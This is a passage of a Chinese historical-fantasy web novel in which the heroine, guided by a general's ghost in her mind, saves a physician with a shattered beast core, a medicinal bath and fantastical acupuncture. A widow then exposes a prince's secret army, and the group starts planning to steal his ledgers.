“这不就结了?”沈琉璃笑道,“我用一笔,他们永远也拿不到的钱,买了我自己的一条命。这笔生意,无论怎么算都是我赚了。”
“你……”君北玄再一次,被她这套歪理邪说,给怼得哑口无言。
他发现,自己根本无法用正常的逻辑,去理解这个女人的思维方式。
第44章 火蟾蜍的内丹
马车,很快便回到了揽月楼。
当沈琉璃捧寒玉宝盒,重新回到望月台时。
早已等候在此的忠叔,迎了上来。
“小姐!您回来了!”忠叔激动得老泪纵横。
而那个一直昏迷不醒的顾九,竟也缓缓地睁开了眼睛。
他看着沈琉璃手中的宝盒,露出了震惊的神情。
“你……你竟然真的把它给弄到手了?”他用虚弱的声音,不敢置信地问道。
“我说过,我会救你。”
沈琉璃没有多言,她将宝盒打开,一股灼热的气浪,瞬间扑面而来!
那只通体赤红的火蟾蜍,在接触到外界空气后,竟猛地睁开了那双金色的眼睛!
它张开嘴,发出了一声如同牛吼般的鸣叫!
“呱——!”
一声如同牛吼般的鸣叫,虽然不大,却蕴含着一股灼热的冲击力,将在场所有人都震得耳膜嗡嗡作响!
春桃离得最近,只觉得一股热浪扑面而来,那感觉不像是被火烤,倒像是被一堵烧红的铁墙给迎面撞上。
她惊呼一声,连连后退,一屁股跌坐在地上,那张滑稽的兔子面具都歪到了一边。
“都退后!”
陆风的反应最快,他一个箭步上前,将沈琉璃和春桃都护在了身后。
全身的肌肉都绷紧了,进入了一种临战状态,仿佛他面对的不是一只巴掌大的**,而是一整支军队!
那只火蟾蜍在发出第一声鸣叫后,金色的眼眸警惕地扫视着周围这些“两脚兽”,背上金色的纹路如同岩浆般缓缓流动,每一次呼吸都让“望月台”的温度升高了几分。
“真是个暴脾气……”顾九靠在椅子上,看着眼前这只传说中的神物。
他挣扎着想要站起来,却牵动了肩上的伤口,疼得他龇牙咧嘴。
“别动!”沈琉璃连忙上前按住他,“你现在需要做什么?取它的内丹吗?”
“废话!”顾九有气无力地说道,“不取它的内丹,难道留着它下崽吗?快去把我的手术包拿来,还有冰蚕丝手套和玉制的小刀。记住,千万不能用金属器物碰它,不然它的内丹会失去灵性!”
“我……我去拿!”春桃连滚带爬地从地上爬起来,就要往外冲。
“回来!”
沈琉璃却一把拉住了她。
“王爷,”她在心里问道,“您觉得,它现在这个状态,会乖乖地让我们给它做‘手术’吗?”
“自然不会。”君北玄答道,“此等异兽,野性难驯。它现在看似安静,实则是在积蓄力量。你看它的后腿,肌肉已经隆起,这是即将发动攻击的前兆。一旦让它从那寒玉宝盒里跳出来,这座揽月楼,今夜怕是要变成一片火海。”
“那该如何是好?”
“杀!”君北玄的回答,简单直接,“让陆风动手,一刀毙命!快、准、狠!不要给它任何反扑的机会!”
“不行!”沈琉璃想也不想,便在心中否决了,“顾先生说过,要取的是活丹!一旦它**,内丹的药性就会大打折扣,甚至会沾染上它自身的火毒!到那时,解药就变成了**!”
“这也不行,那也不行!”君北玄气得在她脑子里咆哮,“难道我们就跟它大眼瞪小眼,等着它自己把内丹吐出来吗?!沈琉璃,本王告诉你,对付这种畜生,最有效的办法就是绝对的力量压制!”
“将军,”沈琉璃看着那只,身体正微微起伏的火蟾蜍,“您说的或许没错,但有时候,最聪明的办法不是用蛮力。”
她没有再理会这个“钢铁直男”的建议,她转头看向了那个抱着自己孩子,缩在角落的李氏。
“夫人,”她缓缓开口。
“啊?”李氏被她这突如其来的一问,吓得浑身一颤。
沈琉璃指了指孩子,轻声问道:“令郎,平日里可有什么喜爱之物?”
李氏虽然不解她为何有此一问,但还是下意识地回答道:“我儿他他平日里最喜欢的,便是一些甜食,尤其是用蜂蜜浸泡过的蜜饯……”
“蜂蜜?”
“没错!”沈琉璃的眼睛,瞬间亮了!
她立刻转身,对着早已急得团团转的春桃吩咐道:“春桃!快!去厨房!取一罐最好的百花蜜来!要快!”
“啊?小姐,都什么时候了,您还有心思吃蜂蜜啊?”春桃的脑子,彻底当机了。
“让你去就去!哪来那么多废话!”
“是!”春桃被她这难得一见的严厉语气,吓得一哆嗦,提着裙子便往外冲。
“你要做什么?”君北玄在她脑中,也充满了困惑,“你该不会是想,用一罐蜂蜜,去收买这只上古异兽吧?沈琉璃,你是不是看话本子看多了?!”
“将军,”沈琉璃在心里,得意地笑道,“您不懂,这叫‘投其所好’。再凶猛的野兽,它也终究是兽。是兽,就有本能的欲望,而对于这种至阳至刚的异兽来说,没有什么,能比蕴含了百花精华的甘甜之物,更能吸引它了。”
不到片刻,春桃便气喘吁吁地捧着一个半人高的大号蜜罐跑了回来。
“小……小姐,蜂蜜来了……”
沈琉璃接过蜜罐,小心翼翼地打开盖子,一股馥郁香甜的气味,便在密室中弥漫开来。
奇迹,在下一秒发生了!
那只原本带着警惕的火蟾蜍,在闻到这股香气后,金色的眼眸中,竟是流露出了一抹人性化的渴望。它甚至,不自觉地伸出舌头,舔了舔自己的嘴角。
“有戏!”
沈琉璃心中一喜,她用一根长长的玉勺,舀起一勺晶莹剔透的蜂蜜,小心翼翼地递到了那寒玉宝盒的边缘。
火蟾蜍看着那勺蜂蜜,喉咙里发出了一阵“咕咕”的声响,似乎在进行着激烈的思想斗争。
最终,对美食的渴望,还是战胜了对未知的恐惧。
它试探着,伸出那条比身体还长的舌头,闪电般地一卷!
那满满一勺的蜂蜜,便被它尽数卷入了口中。
随即,它的脸上竟是露出了一个极其享受的表情。
在场的所有人,都看得目瞪口呆。
“这……这就成了?”春桃不敢置信地揉了揉眼睛。
“看到了吗?将军。”沈琉璃在心里,得意地对君北玄说道,“有时候,一勺蜂蜜,可比您那把削铁如泥的宝刀管用多了。”
君北玄:“……”
他再一次,陷入了对这个世界的深深怀疑之中。
有了第一次的成功,接下来的事情,便水到渠成了。沈琉璃一勺一勺地喂着,那只火蟾蜍也吃得不亦乐乎,渐渐地放下了所有的戒备。
而顾九,则趁着这个千载难逢的机会,早已换上了冰蚕丝手套,手中握着那柄薄如
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蝉翼的玉制小刀,悄无声息地靠近了过去。
他看准了火蟾蜍,因为贪吃而高高鼓起的腹部,眼中精光一闪!
手起,刀落!
快,准,狠!
没有半分犹豫!
“呱——!”
火蟾蜍发出一声痛苦的鸣叫,整个身体猛地一弹!
而顾九的手中,已多了一颗龙眼大小,还散发着灼热气息的内丹!
他得手了!
然而,就在他准备,将这颗救命的内丹,送入口中的时候……
那只被取了内丹的火蟾蜍,在濒死之际,竟是猛地张开嘴,喷出了一股暗红色的毒液!
而它攻击的目标,不是近在咫尺的顾九,也不是沈琉璃。而是那个,还在昏迷之中的孩子!
这一切,都发生在电光石火之间!
快!太快了!
快到连一直全神贯注的陆风,都来不及做出任何反应!
那股毒液,如同离弦之箭,眼看就要溅到孩子的脸上!
就在这千钧一发之际!
顾九,动了。
这个玩世不恭的酒鬼神医,没有丝毫犹豫,猛地将手中的内丹,朝着那股毒液,狠狠地砸了过去!
“砰——!”
一声闷响!
内丹上蕴含的至阳之力,与那股至毒的液体,在空中相撞!
灼热的蒸汽,瞬间弥漫了整个房间!
那股毒液,被成功地拦截了下来。
可那颗,凝聚了所有人希望的‘火蟾蜍’内丹,也在这次剧烈的碰撞中,“咔嚓”一声,碎裂成了无数块,散落了一地!
完了!
所有人的心,在这一刻,都沉入了谷底!
时间,仿佛在这一刻被冻结了。
春桃那双因为看到希望而亮起的眼睛,瞬间黯淡了下去,她“扑通”一声瘫坐在地,嘴里喃喃地念着:“怎么会这样……怎么会这样……”
一直强作镇定的忠叔,此刻也忍不住老眼泛红,他看着地上那些闪烁着暗红色光芒的碎片,痛苦地闭上了眼睛。
“望月台”重点所有人,都在此刻陷入了绝望。
“废物!全都是废物!”
在沈琉璃的脑海中,君北玄的咆哮声,轰然炸响!
他从未像此刻这般痛恨自己的无能为力,他眼睁睁地看着自己最得力的臂膀,为了救一个不相干的人而身陷绝境;眼睁睁地看着唯一的希望,在自己面前化为泡影,而他却什么也做不了!
这种感觉,比他当年在帅帐**发身亡时,还要痛苦百倍!
“完了……全完了……”他喃喃自语,声音里带上了真正的绝望。
然而,房间内,还站着两个人。
一个是陆风。
这位铁血的将军,没有崩溃,没有失态。他只是死死地攥紧了拳头,走到那个已经气若游丝的顾九身边,单膝跪下,平静的说道:“顾九,你撑住。我这就去为你取第二颗内丹回来。”
他平静的可怕,但是所有人都听出了他话语中那股,不惜一切代价,甚至不惜生命的决然。
而另一个人,是沈琉璃。
她没有哭,没有喊,甚至没有去看那个已经陷入昏迷的顾九。
她的目光,死死地盯着地上那些,还在散发着微弱光芒的内丹碎片。
碎了……
内丹碎了……
可……碎了,就真的没用了吗?
第45章 药浴
沈琉璃不懂医理,更不懂这些神神怪怪的东西!但她知道,她不能放弃!
“王爷!”她顾不得许多,直接在心里,对着那个心如死灰的君北玄,大声喊道,“您快看!它们还在发光!它们的药性还没有完全消失!您是将军,您身经百战,见过的奇人异事比我们所有人都多!您快想办法!一定还有办法的,对不对?!”
她的声音,带着哭腔。
“那又如何?”君北玄的声音,带着满满的无力感,“一块碎裂的盾牌,还能挡住敌人的利剑吗?别再挣扎了,准备后事吧。”
“我不!”沈琉璃在心里,倔强地嘶吼,“我不管什么盾牌利剑!我只知道,顾先生是为了救人才变成这样的!我们不能就这么眼睁睁地看着他死!君北玄,你给我打起精神来!你不是战神吗?!你不是无所不能吗?!现在你的人就要**,你却在这里自怨自艾?!你算什么将军!”
这番毫不客气的痛骂,如同一记响亮的耳光,狠狠地扇在了君北玄的灵魂上!
他猛地一震!是啊,他是将军!
将军,在任何时候,都不能放弃自己的士兵!
他的脑海中,无数个过往的种种,过往的场景,如同闪电般疯狂地闪回!
碎裂……引导……
等等!
“……破而后立,向死而生……”他喃喃自语。
“什么?”沈琉璃没有听清。
“有办法了!”君北玄的声音,变得无比激动,“沈琉璃,听本王的!我们或许还有最后一搏的机会!”
“怎么做?!”
“药浴!”君北玄的思路变得无比清晰,“本王曾在北境的孤本上看过!异兽的内丹,其能量霸道无比,一旦碎裂,能量便会以一种狂暴的方式逸散。想要利用这股力量,唯一的办法就是用药浴!”
“但是!”他的话锋一转,变得无比严肃,“‘火蟾蜍’内丹乃是至阳之物,其碎裂后的能量更是狂暴无比,若无至阴之物进行调和,顾九的身体会瞬间被这股能量撑爆!我们必须立刻找到几味极阴的草药来做药引!”
“什么药草?!”
“听好了!”君北玄语速极快,“百年份的‘玄参’,用以镇定心神;一钱‘地龙’,碾碎成粉,用以疏通经络;还有三株‘天山雪莲’,取其花蕊,用以中和火毒!”
他报出的这几样东西,虽然样样珍贵,却并非遥不可及的神物。
“这……我们现在去哪里找?!”沈琉璃的心刚刚提起,又沉了下去,“现在已是深夜,所有药铺都已关门了!”
“寻常药铺自然是没有。”君北玄冷哼一声,“但都城最大的‘济世堂’,他们的库房里,必然有这些东西的存货!”
沈琉璃瞬间明白了过来!
她站起身,对着早已看得目瞪口呆的众人,下达了一连串的指令!
“忠叔!”
“老……老奴在!”
“立刻!去库房!将我们最大的橡木桶搬过来,用烈酒里里外外消毒三遍!”
“春桃!”
“奴……奴婢在!”
“去!将库房里的银票都取出来,再备上我那套最名贵的文房四宝!”
“陆将军!”
“末将在!”
“我需要你,亲自带人去一趟‘济世堂’!告诉他们的掌柜,就说我沈琉璃,有万分火急之事,需要这三味药救命!不管花多少钱,不管用什么方法,半个时辰内,我必须见到药材!”
她这一连串的指令,下得又快又急!那股强大的气场,将在场所有人都从绝望的情绪中,给硬生生地拽了出来!
他们虽然不明白,到底发生了什么,但他们还是下意识地选择了服从!
一时间,整个揽月楼,都动了起来!
“小姐……您……您这是要做什么呀?”春桃一边手忙脚乱地准备着银票,一边气喘吁吁地问道。
“救人。”沈琉璃的回答,简单直接。
她亲自上手,帮着春桃一起,清点着库房里的现银。
“可……可这能行吗?”
“我不知道。”沈琉璃坦然地摇了摇头,“但总好过什么都不做,眼睁睁地看着他死。”
她这番话,让春桃的心中也生出了一股莫名的勇气。
是啊,活着总好过死!
……
半个时辰后,一切准备就绪。
一个足以容纳两个成年人的橡木桶,被安放在了望月台的中央,桶内早已注入了用十余种珍贵药材熬制而成的滚烫药汤。
陆风,也终于赶了回来。他的手上,提着三个沉甸甸的药包,正是那三味救命的药引!
顾九,此刻早已是气息奄奄,他肩上的伤口,已经开始散发出一股不祥的焦糊味,整个人都陷入了半昏迷的状态。
“顾先生,撑住!”
沈琉璃走到他的身边,将一粒早已备好的护心丹,塞入了他的口中。
随即,她看向了陆风。
“陆将军,接下来就要辛苦你了。”
陆风点了点头,他没有多言,只是走上前,将早已不省人事的顾九拦腰抱起。然后,小心翼翼地将他放入了木桶中。
“嘶——!”
顾九的身体,在接触到药汤的瞬间,猛地抽搐了一下,发出了痛苦的呻吟。
“就是现在!”
沈琉璃的眼中,精光一闪!她将三味至阴的药草,依次投入了木桶中!
“嗡——!”
整个木桶,发出一声轻微的嗡鸣!
一股冰冷的寒气,混合着浓郁的药气,瞬间弥漫了整个房间!
“最后一步!”
沈琉璃端起装着内丹碎片的玉碗,深吸了一口气!她将这些还散发着灼热气息的碎片,缓缓地投入到了那翻滚的药汤中!
“轰——!”
肉眼可见的暗红色,在木桶中轰然散开!
整个药汤,如同被煮沸了一般,疯狂地翻滚起来!无数的气泡,从桶底冒出,发出“咕嘟咕嘟”的声响!
“啊——!”
身处能量中心的顾九,猛地睁开了眼睛!他的眼中布满了痛苦的血丝,发出了一声凄厉的惨叫,整个人便要在木桶中,疯狂地挣扎起来!
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“按住他!”
沈琉璃厉声喝道!
陆风早有准备,他上前一步,死死地按住了顾九的肩膀,任凭他如何挣扎,都无法动弹分毫!
“王爷!”沈琉璃在心里,焦急地喊道,“现在怎么办?!他好像很痛苦!”
“废话!”君北玄的声音,也充满了紧张,“至阳与至阴两种能量,正在他的体内进行最直接的冲撞!这感觉,不亚于千刀万剐!他现在,完全是靠着一口气在硬撑!一旦他撑不住,心神失守,便会立刻被这两股能量撕成碎片!”
“那……那有没有什么办法,能帮他?!”
“有!”君北玄当机立断,“用银针!封住他的心脉!护住他最后一丝神智!快!”
“可……可我不会啊!”
“本王教你!”
君北玄这四个字,在沈琉璃脑海中响起。
教我?
教我用针?!
她长这么大,连针线活都做得一塌糊涂,现在却要用针去救人?
“王爷,您不是在开玩笑吧?!”她几乎是在心里嘶吼出来,“我会把他扎死的!”
“闭嘴!”君北玄的声音,不带任何感情,“现在,你不是沈琉璃,你是我君北玄的‘手’!本王让你扎哪里,你就扎哪里!听不懂吗?!”
他的声音里,蕴含着一种奇异的力量,竟强行压下了沈琉璃心中的慌乱。
是啊,她现在不是一个人。
她看着木桶中还在痛苦挣扎的顾九,心中的犹豫被一股决然所取代。
她不能退!
“好!”她深吸一口气,“需要我怎么做?”
“顾九的针盒!”君北玄当机立断,“还有,让你那个傻丫鬟,去点一排蜡烛来,越多越好!本王需要绝对的光亮!”
“春桃!”沈琉璃立刻转身,“去把顾先生的针盒拿来,再把这里所有能点的蜡烛,都给我点上!”
“是!是!”春桃被吓得一哆嗦,连滚带爬地便冲了出去。
很快,顾九那个古朴的针盒便被送了上来。
“看清楚了!”君北玄的声音,在她的脑海中响起,“取左手第三排,从上往下数,第七根‘龙须针’!针长三寸三分,针尾刻有卷云纹!”
沈琉璃的手有些发抖,但她还是按照君北玄的指示,精准地找到了银针。
针入手,冰凉刺骨。
“现在,听本王的口令!”君北玄的声音,变得无比专注,“目标在顾九后颈,‘风府穴’!就在他后颈发际线正中直上一寸的位置!看到了吗?!”
“看……看到了……”沈琉璃看着顾九那因为痛苦而不断扭动的脖颈,只觉得自己的心都快要跳出嗓子眼了。
“很好!”君北玄继续指挥道,“现在,摒住呼吸,将你所有的注意力,都集中在你的指尖!想象你手中握着的不是一根针,而是本王的战刀!稳住!不要有任何犹豫!”
“入针,半寸!”
沈琉璃的眼中,映着烛火,也映着那根在指尖微微颤抖的银针。她知道,这一针下去,便是生死之别。
第46章 针灸
满室的烛火,陆风凝重的呼吸,春桃无声的泪水,都化作了模糊的背景。
沈琉璃的世界里,只剩下君北玄那冰冷的指令,和自己指尖下那一点寒芒。
手起,针落!
“噗——!”
一声极其轻微的入肉声响起。
那根细如牛毛的银针,竟真的被她稳稳地刺入了顾九的“风府穴”!
“成功了!”
沈琉璃的心中,一阵狂喜!
“高兴什么?!这才只是第一针!”君北玄毫不留情地给她泼了一盆冷水,“接下来,还有七十二处大穴!听好了!第二针,‘天柱穴’!位于他后颈两侧,斜方肌外侧凹陷处,左右各一针!入针七分!快!”
接下来的半个时辰,对于望月台内的所有人来说,都如同在地狱中煎熬。
君北玄的指令,又快又急,不给沈琉璃任何思考和喘息的机会。
“‘肩井穴’!入针一寸!”
“‘曲池穴’!针尖斜刺,入针一寸二!”
“‘合谷穴’!捻转针法,催发气感!”
沈琉璃早已是香汗淋漓,整个人都进入了一种亢奋的状态。她的眼中,再也没有了犹豫,只剩下君北玄所说的那些穴位。
她的手也变得越来越稳,越来越快!
木桶中的顾九,随着一根根银针的刺入,渐渐地停止了挣扎。他体表的灼热蒸汽,也被缓缓地压制了下去。
“漂亮!”君北玄难得地发出了一声赞叹,“沈琉璃,本王承认,你或许没有习武的天赋,但你这下针的准头,倒还真有天分。”
“少废话!”沈琉璃在心里,有气无力地回了一句,“下一针是哪里?!”
她感觉自己,就快要虚脱了,这种精神高度集中的状态,对她的消耗同样巨大。
“别急。”君北玄的声音,变得无比凝重,“接下来是最后一针,也是最关键的一针。”
“这一针,将决定他是生是死。”
沈琉璃的心,猛地一紧!
“目标,”君北玄的声音,如同冰窖里发出,“他左胸,‘神封穴’!”
“此穴,位于心脉上,乃是人体至阴至柔之所。现在他体内的两股能量,正如同两头被困在牢笼里的猛虎,疯狂地冲撞着。你要做的,就是用这最后一根针,为它们打开一个宣泄的出口!”
“记住,这一针,只能快,不能慢!只能深,不能浅!一旦有半分偏差,他的心脉,便会被彻底撕碎!”
沈琉璃看着顾九那张毫无血色的脸,手中的银针,在这一刻仿佛重于泰山。
“我……我……”
“没有你我!”君北玄厉声喝道,“沈琉璃!你给本王记住!你现在,就是本王!本王的手,从不颤抖!本王的刀,从不失手!”
他这番话,如同一剂强心剂,注入了沈琉璃的身体!
她深吸一口气,眼中所有的杂念尽数褪去!
只剩下了,绝对的冷静!
她拿起银针,对准了顾九的左胸。
然后,毫不犹豫地刺了下去!
“噗——!”
银针,没柄而入!
“轰——!”
一股狂暴的能量,在顾九的体内炸开!
只见那七十二根,插在他周身大穴上的银针,竟在同一时刻,齐齐地剧烈颤动起来,发出“嗡嗡”的声响!
而顾九本人更是猛地仰起头,痛苦嘶吼!
紧接着,令人头皮发麻的一幕出现了!只见一股股黑色的血液,竟顺着那些银针的针尾,疯狂地向外渗透出来!
这些黑血,落在滚烫的药汤里,发出“滋滋”的声响,冒起了一阵阵充满了腥臭味的黑烟!
“成了!”君北玄的声音狂喜!
而沈琉璃,在刺下最后一针后,再也支撑不住,眼前一黑,整个人便软软地向后倒去。
“主公!”
一直守在她身后的陆风,一个箭步上前,稳稳地将她接在了怀里。
……
不知过了多久,沈琉璃悠悠转醒。
她一睁开眼,便看到了一张,写满了担忧的兔子脸。
“小姐!您醒啦!”
是春桃。
沈琉璃缓缓地坐起身,只觉得浑身酸痛,像是被人狠狠地打了一顿。
窗外,天光微亮。
“顾先生……他怎么样了?”她开口问道,声音沙哑得厉害。
“小姐您放心!”春桃连忙扶住她,喜滋滋地说道,“顾先生他没事了!您真是太神了!您都不知道,您刚才那手针灸的本事,简直比太医院里的太医还要厉害!”
“您晕倒以后不久,顾先生身上的黑血就排尽了,人也安稳了下来,陆风将军已经把他,安顿在隔壁的房间里了。还有那个小公子也醒了,现在正由他的娘亲,一口一口地喂着米粥呢!”
听到这个消息,沈琉璃悬着的心,才终于放了下来。
她赢了。
这场与死神的豪赌,她终究还是赢了。
“哼,什么叫‘你’的本事?”君北玄那不屑的声音,适时地在她脑中响起,“若不是本王在背后运筹帷幄,就凭你那三脚猫的功夫,现在怕是早把人给扎成筛子了。”
“是是是,都是王爷您的功劳。”沈琉璃在心里,有气无力地回了一句,“那请问,运筹帷幄的大将军,您现在是不是可以让我好好地睡一觉了?我感觉我的骨头,都快散架了。”
“想得美!”君北玄毫不留情地打断了她的美梦,“战争才刚刚开始,你以为,大皇子李裕,会就这么善罢甘休吗?”
“你昨夜在鬼市里,当着上千人的面,悬赏他的人头。他现在,怕是已经动了杀心了。”
君北玄的声音,让沈琉璃瞬间清醒。
是啊,他们虽然用一种近乎疯狂的方式,解决了眼前的危机,却也为自己埋下了一个巨大的祸根。在鬼市悬赏当朝皇子,这无异于公然谋逆。
“那……那我们该怎么办?”她的声音颤抖。
“怎么办?”君北玄冷笑一声,“既然已经撕破了脸,那便无需再有任何顾忌!在他动手之前,先一步让他自顾不暇!”
沈琉璃的心,猛地一跳,她瞬间明白了君北玄的意思。
“看来……我们今夜,要救的不仅是顾先生的命,还有我们自己的命!”
“好了,我们现在先去隔壁看看顾九和那个孩子吧。”沈琉璃疲惫地说道。
她站起身子,只感觉自己的眼皮重若千斤,几乎要在站立中睡去。
春桃连忙上前扶住她
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:“小姐,您都快站不稳了,还是先歇歇吧。”
“无妨。”沈琉璃摇了摇头,推开了望月台的大门,朝着隔壁的房间走去。
隔壁的房间,早已被忠叔安排得妥妥当当。上好的安神香在角落里静静燃烧着,炭火将整个房间烘得暖意融融。
顾九,已经被换上了一身干净的寝衣,安静地躺在床榻上。他的脸上,此刻没有半分血色,即便是在昏睡中,似乎也承受着巨大的痛苦。
他那只受伤的左肩,被厚厚的纱布包裹着,隐隐还能看到有暗红色的血迹渗透出来。
而在另一侧的小榻上,那个张家小公子也同样安静地睡着。与之前状若冰雕的模样不同,此刻他的脸上竟恢复了几分红润,呼吸也变得平稳悠长,看起来就像一个普通的孩子。
张夫人李氏,寸步不离地守在自己孩子的床边。
她早已换下那身华服,穿着一身素净的衣裳,正用一方温热的毛巾,仔细地为孩儿擦拭着脸颊。
听到开门声,她猛地回过头,当看到是沈琉璃时,她立刻“噗通”一声,跪倒在地。
“沈小姐!”她对着沈琉璃,重重地磕了一个头,“您的大恩大德,妾身没齿难忘!从今往后,我李秀宁这条命,便是您的了!”
“夫人快快请起,您不必如此。”沈琉璃连忙上前将她扶起。
“不,”李氏却执拗地摇着头,泪水夺眶而出,“若非小姐您,我儿他怕是早已……”
“好了好了,都过去了。”沈琉璃轻声安慰道,“孩子没事就好。”
就在此时,床榻上的顾九,发出一声痛苦的呻吟,缓缓地睁开了眼睛。
“水……水……”他舔了舔干裂的嘴唇,声音沙哑得如同破锣。
“快!快去倒水!”沈琉璃立刻吩咐道。
春桃连忙倒来一杯温水,沈琉璃亲自接过,小心翼翼地用勺子,一点一点地喂他喝下。
一杯水下肚,顾九那张惨白的脸上,才恢复了些许神采。
他环顾四周,看着眼前这些熟悉的面孔,眼里露出了几分劫后余生的庆幸。
“**……”他开口说的第一句话,便是标志性的粗口,“小爷我这是从鬼门关前,又溜达回来了?”
“您何止是溜达回来了?”春桃在一旁,又是好气又是好笑地说道,“您是把阎王爷的胡子都给揪下来了!顾先生,您都不知道,刚才有多吓人!”
“是吗?”顾九咧了咧嘴,想挤出一个轻松的笑容,却牵动了肩上的伤口,疼得他倒吸一口冷气。
“嘶……陆风那个混蛋呢?下手没轻没重的,差点把小爷的骨头都给捏碎了!”
“陆将军在外面守着呢。”沈琉璃没好气地白了他一眼,随即又真诚地说道,“顾先生,这次多谢你了。”
顾九看着她,眼底一片清明。
“该说谢谢的,是我。”他自嘲地笑了笑,“我顾九这辈子,信的是药理,敬的是王爷。从未想过,有一天会把命交到一个女子的手上。”
“我以前,是狗眼看人低,你这份胆识和手段我服了。”
他这番话,说得郑重其事,让在场所有人都有些意外。
“从今往后,但凡差遣,万死不辞。”
第47章 投名状
望月台的密室中,浓重的药气尚未完全散去。
“顾先生,不用客气。”沈琉璃回答道,“您现在觉得身体怎么样了?”
“死不了。”他看着沈琉璃,缓缓说道,“沈大小姐,你那个‘破而后立’的法子,确实是鬼斧神工。火蟾蜍的能量,已经把我体内的‘孔雀胆’之毒,中和得七七八八了。”
他顿了顿,感受了一下身体的状况:“我现在,除了伤口还疼得厉害,内腑倒是没什么大碍了。”
听到这个消息,所有人的心都为之一松。
“太好了!真是太好了!”春桃激动得直拍手。
然而,顾九的下一句话,却又让刚刚才缓和下来的气氛,再次降至冰点。
“不过……”他话锋一转,将目光投向了那个熟睡的孩子,“我的命是暂时保住了,可这位小公子的命还悬着呢。”
“什么?!”李氏闻言,急切地问道,“神医!您这是何意?!我儿他不是已经……”
“夫人,您别急。”顾九叹了口气,耐心地解释道,“我之前,虽然取出了他体内的‘母蛊’,但这只能算是治标,并非治本。”
“‘雪山寒蝉’最歹毒的地方,并非母蛊本身,而是它在公子体内,长达半年所散发出的寒毒,这些寒毒早已侵入了他的五脏六腑,深入骨髓。”
“如今,虽然没了母蛊,但这些残存的寒毒,还是会慢慢地侵蚀他的生机。”
“若不根除,令郎怕是活不过三年。”
顾九的这番话,如同刀子,一刀一刀地凌迟着李氏的心。
“那……那该如何是好?!”她抓着顾九的衣袖,声音都在发颤,“神医!求求您!求求您再救救我的孩儿!”
“唉……”顾九看着她,“夫人,不是我不救。想要根除此等奇毒,普天之下只有一个方子。”
他砖头看了看沈琉璃,将药方缓缓道来:“此毒需以三味神药方可根除。”
“首当其冲的,便是‘雪山玫瑰’,此物生于北境极寒之巅,是天下至阳之物,令郎已经服用过了。”
“其次,便是‘千年火蟾’,此物我们已经获取,虽然内丹被我所用,但其它部位亦可入药,以解令郎寒毒。”
“而这最后一味,则是缥缈难寻。”他摇了摇头,“乃是神鸟浴火重生后,留下的‘凤凰胆’。”
“我们侥幸,已得其二。可这最后一味‘凤凰胆’,早已绝迹,只存在于传说中的东西。便是倾尽全力,也未必能寻得半点踪迹……”
不等他说完,李氏已经瘫倒在地,抱着自己刚刚恢复了几分温度的孩儿,发出了无声的哀嚎。
她看着床榻上那个,为了救自己孩子险些丧命的“神医”;又看了看眼前这个智计百出的少女。再想到那个,高高在上,视自己孩儿性命如草芥的大皇子……
她的悲痛,在这一刻尽数转化为了恨意!
她缓缓地,从地上站了起来,擦干了脸上的泪痕。
“沈小姐,”她开口,声音沙哑,却异常平静,“我不知道哪里有‘凤凰胆’。”
“但我知道,大皇子李裕,生平最喜搜罗天下奇珍异宝。若这世上真有此物,他那里必然有线索!”
“您救我孩儿,便是与虎谋皮。李裕此人,睚眦必报,他绝不会放过你们,更不会放过我们母子。与其坐以待毙,不如我们一起将他拉下神坛!”
“总算有几分军**子的血性了。”君北玄在她脑中,难得地发出了一声赞许。
沈琉璃看着眼前这位母亲,知道最重要的一步棋,终于要落下了。
“夫人,”她轻声问道,“您想好了吗?这条路一旦踏上,便再无回头之路。”
“我想好了!”李氏的眼中,燃烧着复仇的火焰,“他敢拿我儿子的命当棋子,我便要掀了他的棋盘!”
她深吸了一口气,像是下定了某种决心,终于献上了她的“投名状”!
“沈小姐,您不是一直想知道,大皇子为何有恃无恐吗?”
“因为,他手上握着一支不属于这个国家的军队!”
“我的夫君张启年,便是这支军队的统帅!他帮助大皇子,在都城西郊三十里外的一座废弃矿场里,秘密豢养了三千私兵!”
这个石破天惊的消息,让在场所有人都倒吸了一口冷气!
“不仅如此,”李氏继续说道,“关于这三千私兵的机密账册,以及我夫君与大皇子之间所有的往来信函,都被藏在了我们府上!”
“在哪里?!”沈琉璃的心,狂跳了起来!
“就在他书房的密室之中!”李氏看着沈琉璃,“那间密室,除了他,只有我一人知道入口!”
这,才是真正的王牌!
沈琉璃看着眼前这个,已经将自己和整个家族的命运,都押在自己身上的女人,心中百感交集。
她知道,从这一刻起,她们才算是真正意义上的盟友。
她扶起李氏,郑重地说道:“夫人,多谢您的信任。”
而一旁,一直沉默不语的顾九,在听完这一切后,看着眼前这个足智多谋的少女,露出了真正的敬畏。
他挣扎着,对着沈琉璃一抱拳。
“……主公。”
他声音沙哑,却掷地有声。
“好。”沈琉璃点了点头。
她重新看向李氏,眼神变得更加锐利。
“夫人,‘凤凰胆’的事,我们会想尽一切办法。现在,我需要您做的,是尽快回到府中稳住局面,不要让任何人察觉异常。”
“然后,”她的声音压得极低,“为我们寻一个能潜入您夫君书房的时机。”
李氏重重地点了点头,她的眼中再无半分犹豫,在得到沈琉璃的承诺后,情绪终于稳定了下来。
天色将明未明之际,望月台的气氛并未有半分松懈,反而因即将到来的行动而愈发凝重。
沈琉璃安排忠叔,从揽月楼的后门将李氏母子悄然送回了张府。临行前,她再三叮嘱,万万不可露出任何破绽,一切如常即可。
李氏离去后,沈琉璃不顾身体的疲惫,召集了陆风和刚刚恢复些许精神的顾九,围绕“潜入张府”的战略开始谋划。
一张由陆风绘制出的简易的张府布局图,被平铺在了桌案上。
“总算要干点正事了。”君北玄的声音,在沈琉璃脑中响起,“听本王的,潜入这种事,讲究的就是一个‘快’字!月黑风高夜,让陆风带上两个好手,直接从屋顶进去,找到书房,拿到东西,速战速决!”
“将军,您那叫
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‘闯空门’,不叫‘潜入’。”沈琉璃在心里,毫不客气地反驳,“张府是二品大员的府邸,守卫森严,机关重重,不是您北境的蛮族帐篷,您这是想让陆风将军去送死吗?”
“妇人之见!”
“莽夫!”
一人一鬼,照例在脑海里进行了一番毫无营养的互相攻击。
另一边,有气无力地靠在榻上的顾九,在听完陆风的初步评估后,也懒洋洋地给出了自己的“高见”。
“依我看,最稳妥的办法,是给张府的井里投入巴豆,让他们全部拉虚脱了。我们再大摇大摆地走进去,兵不血刃,岂不美哉?”
春桃听得手一抖,一勺滚烫的汤药差点全洒在顾九的伤口上。
“顾先生!”她吓得小脸发白,“您这也太不靠谱了!”
在否决了君北玄和顾九,一个比一个离谱的方案后,沈琉璃提出了自己的方案。
核心只有一点:必须在不惊动任何人的情况下,拿到证据,全身而退,甚至不能让张启年本人察觉到书房曾被人潜入。
